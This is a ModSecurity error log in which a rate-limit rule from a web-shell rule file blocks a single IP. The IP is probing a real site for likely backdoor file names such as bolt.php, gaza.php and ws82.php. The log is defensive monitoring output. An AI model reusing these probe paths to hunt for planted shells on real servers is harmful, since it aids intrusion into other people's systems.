[Thu Apr 23 21:30:35.199463 2026] [:error] [pid 42973:tid 43063] [client 20.251.223.35:30159] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe-26I0QqmmmLTHE0d7gAAAJQ"]
[Thu Apr 23 21:30:35.873313 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:48354] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe-4V5EysYcTLjmwiBXQAAAcA"]
[Thu Apr 23 21:30:36.233643 2026] [:error] [pid 59700:tid 59711] [client 20.251.223.35:48331] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe_JXyGZJFeAIDWtkrJQAAAUk"]
[Thu Apr 23 21:30:36.594577 2026] [:error] [pid 64967:tid 64970] [client 20.251.223.35:55180] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoe_IAV4GfOOdX8Qzp2eAAAAYE"]
[Thu Apr 23 21:30:37.537218 2026] [:error] [pid 42971:tid 43001] [client 20.251.223.35:49058] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoe_TEP2_5RswrH8bEsVwAAAA8"]
[Thu Apr 23 21:30:37.903731 2026] [:error] [pid 46953:tid 46970] [client 20.251.223.35:33192] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe_UnlpdHh-P6wKbo6ngAAAk4"]
[Thu Apr 23 21:30:38.320151 2026] [:error] [pid 42973:tid 43051] [client 20.251.223.35:57333] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoe_m6I0QqmmmLTHE0d9AAAAIg"]
[Thu Apr 23 21:30:39.250557 2026] [:error] [pid 42971:tid 42991] [client 20.251.223.35:57320] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoe_zEP2_5RswrH8bEsWwAAAAU"]
[Thu Apr 23 21:30:40.082286 2026] [:error] [pid 64998:tid 65026] [client 20.251.223.35:5606] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeofAIV5EysYcTLjmwiBbAAAAdg"]
[Thu Apr 23 21:30:40.117135 2026] [:error] [pid 42972:tid 43035] [client 20.251.223.35:49049] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofAMOAb-3sOknsk4c_ugAAAFM"]
[Thu Apr 23 21:30:40.824398 2026] [:error] [pid 42972:tid 43025] [client 20.251.223.35:55210] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofAMOAb-3sOknsk4c_vgAAAEk"]
[Thu Apr 23 21:30:40.968000 2026] [:error] [pid 46953:tid 46973] [client 20.251.223.35:55179] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeofAEnlpdHh-P6wKbo6ogAAAlE"]
[Thu Apr 23 21:30:41.703102 2026] [:error] [pid 64998:tid 65008] [client 20.251.223.35:6066] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofAYV5EysYcTLjmwiBcQAAAcY"]
[Thu Apr 23 21:30:41.930050 2026] [:error] [pid 42971:tid 42994] [client 20.251.223.35:6065] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeofATEP2_5RswrH8bEsXwAAAAg"]
[Thu Apr 23 21:30:42.326470 2026] [:error] [pid 42971:tid 42992] [client 20.251.223.35:35270] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofAjEP2_5RswrH8bEsYAAAAAY"]
[Thu Apr 23 21:30:42.710491 2026] [:error] [pid 42972:tid 43038] [client 20.251.223.35:49690] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeofAsOAb-3sOknsk4c_xgAAAFY"]
[Thu Apr 23 21:30:43.607003 2026] [:error] [pid 42973:tid 43055] [client 20.251.223.35:30107] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofA26I0QqmmmLTHE0d9wAAAIw"]
[Thu Apr 23 21:30:44.087496 2026] [:error] [pid 64967:tid 64976] [client 20.251.223.35:6057] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeofBIAV4GfOOdX8Qzp2fwAAAYc"]
[Thu Apr 23 21:30:44.135956 2026] [:error] [pid 46953:tid 46958] [client 20.251.223.35:6058] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofBEnlpdHh-P6wKbo6qgAAAkI"]
[Thu Apr 23 21:30:44.859088 2026] [:error] [pid 64967:tid 64989] [client 20.251.223.35:28262] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeofBIAV4GfOOdX8Qzp2gQAAAZQ"]
[Thu Apr 23 21:30:44.976783 2026] [:error] [pid 42972:tid 43035] [client 20.251.223.35:40582] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofBMOAb-3sOknsk4c_zAAAAFM"]
[Thu Apr 23 21:30:45.503870 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:52190] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofBcOAb-3sOknsk4c_zwAAAEA"]
[Thu Apr 23 21:30:45.790048 2026] [:error] [pid 46953:tid 46960] [client 20.251.223.35:52179] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofBUnlpdHh-P6wKbo6rwAAAkQ"]
[Thu Apr 23 21:30:46.117307 2026] [:error] [pid 46953:tid 46969] [client 20.251.223.35:40630] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofBknlpdHh-P6wKbo6sAAAAk0"]
[Thu Apr 23 21:30:46.769274 2026] [:error] [pid 65000:tid 65030] [client 20.251.223.35:52194] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofBr6vRb9j6psK2ZaOuwAAAgE"]
[Thu Apr 23 21:30:46.915813 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:49709] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofBr6vRb9j6psK2ZaOvAAAAg4"]
[Thu Apr 23 21:30:47.738131 2026] [:error] [pid 46953:tid 46957] [client 20.251.223.35:52221] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofB0nlpdHh-P6wKbo6tAAAAkE"]
[Thu Apr 23 21:30:48.338323 2026] [:error] [pid 64967:tid 64970] [client 20.251.223.35:32578] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofCIAV4GfOOdX8Qzp2iQAAAYE"]
[Thu Apr 23 21:30:48.372902 2026] [:error] [pid 42972:tid 43023] [client 20.251.223.35:5476] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofCMOAb-3sOknsk4c_1QAAAEc"]
[Thu Apr 23 21:30:49.070506 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:32584] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofCb6vRb9j6psK2ZaOxwAAAg0"]
[Thu Apr 23 21:30:49.193868 2026] [:error] [pid 42972:tid 43033] [client 20.251.223.35:35753] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeofCcOAb-3sOknsk4c_1gAAAFE"]
[Thu Apr 23 21:30:49.705508 2026] [:error] [pid 25635:tid 25643] [client 20.251.223.35:45313] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofCcRxv6UsgRGKB3I0tgAAAQQ"]
[Thu Apr 23 21:30:49.873381 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:48391] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofCb6vRb9j6psK2ZaOyQAAAgA"]
[Thu Apr 23 21:30:50.562333 2026] [:error] [pid 59700:tid 59719] [client 20.251.223.35:57278] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofCpXyGZJFeAIDWtkrMAAAAVE"]
[Thu Apr 23 21:30:50.864673 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:32621] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofCr6vRb9j6psK2ZaOzwAAAhM"]
[Thu Apr 23 21:30:51.240036 2026] [:error] [pid 25635:tid 25646] [client 20.251.223.35:40606] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofC8Rxv6UsgRGKB3I0uwAAAQc"]
[Thu Apr 23 21:30:51.660734 2026] [:error] [pid 46953:tid 46969] [client 20.251.223.35:32579] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofC0nlpdHh-P6wKbo6twAAAk0"]
[Thu Apr 23 21:30:52.186551 2026] [:error] [pid 46953:tid 46959] [client 20.251.223.35:44897] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofDEnlpdHh-P6wKbo6uQAAAkM"]
[Thu Apr 23 21:30:52.980250 2026] [:error] [pid 25635:tid 25663] [client 20.251.223.35:32608] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeofDMRxv6UsgRGKB3I0vQAAARg"]
[Thu Apr 23 21:30:53.059222 2026] [:error] [pid 46953:tid 46979] [client 20.251.223.35:32602] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofDUnlpdHh-P6wKbo6vgAAAlY"]
[Thu Apr 23 21:30:54.285296 2026] [:error] [pid 25635:tid 25642] [client 20.251.223.35:52130] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofDsRxv6UsgRGKB3I0wgAAAQM"]
[Thu Apr 23 21:30:54.448285 2026] [:error] [pid 43083:tid 43097] [client 20.251.223.35:52168] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofDjC5hrvNXosL83J6EgAAAMw"]
[Thu Apr 23 21:30:55.293348 2026] [:error] [pid 42972:tid 43027] [client 20.251.223.35:32626] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofD8OAb-3sOknsk4c_2gAAAEs"]
[Thu Apr 23 21:30:55.944953 2026] [:error] [pid 59700:tid 59724] [client 20.251.223.35:53393] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofD5XyGZJFeAIDWtkrMgAAAVY"]
[Thu Apr 23 21:30:56.299601 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:53389] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofEMOAb-3sOknsk4c_3AAAAFg"]
[Thu Apr 23 21:30:57.035447 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:52153] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofEb6vRb9j6psK2ZaO1AAAAhc"]
[Thu Apr 23 21:30:58.693338 2026] [:error] [pid 42971:tid 42993] [client 20.251.223.35:35750] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofEjEP2_5RswrH8bEsZQAAAAc"]
[Thu Apr 23 21:30:59.017681 2026] [:error] [pid 25635:tid 25645] [client 20.251.223.35:32631] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofE8Rxv6UsgRGKB3I0xwAAAQY"]
[Thu Apr 23 21:30:59.846814 2026] [:error] [pid 46953:tid 46979] [client 20.251.223.35:28246] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofE0nlpdHh-P6wKbo6xgAAAlY"]
[Thu Apr 23 21:31:00.979309 2026] [:error] [pid 43083:tid 43086] [client 20.251.223.35:5497] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeofFDC5hrvNXosL83J6GgAAAME"]
[Thu Apr 23 21:31:01.741954 2026] [:error] [pid 64998:tid 65016] [client 20.251.223.35:44877] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeofFYV5EysYcTLjmwiBnQAAAc4"]
[Thu Apr 23 21:31:03.137693 2026] [:error] [pid 64998:tid 65004] [client 20.251.223.35:52107] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofF4V5EysYcTLjmwiBpgAAAcI"]
[Thu Apr 23 21:31:03.606023 2026] [:error] [pid 42971:tid 42990] [client 20.251.223.35:39981] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeofFzEP2_5RswrH8bEsagAAAAQ"]
[Thu Apr 23 21:31:04.144955 2026] [:error] [pid 43083:tid 43109] [client 20.251.223.35:28248] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofGDC5hrvNXosL83J6HQAAANg"]
[Thu Apr 23 21:31:05.465307 2026] [:error] [pid 42973:tid 43064] [client 20.251.223.35:39943] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofGW6I0QqmmmLTHE0eAwAAAJU"]
[Thu Apr 23 21:31:06.018186 2026] [:error] [pid 64998:tid 65013] [client 20.251.223.35:34458] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeofGoV5EysYcTLjmwiBrwAAAcs"]
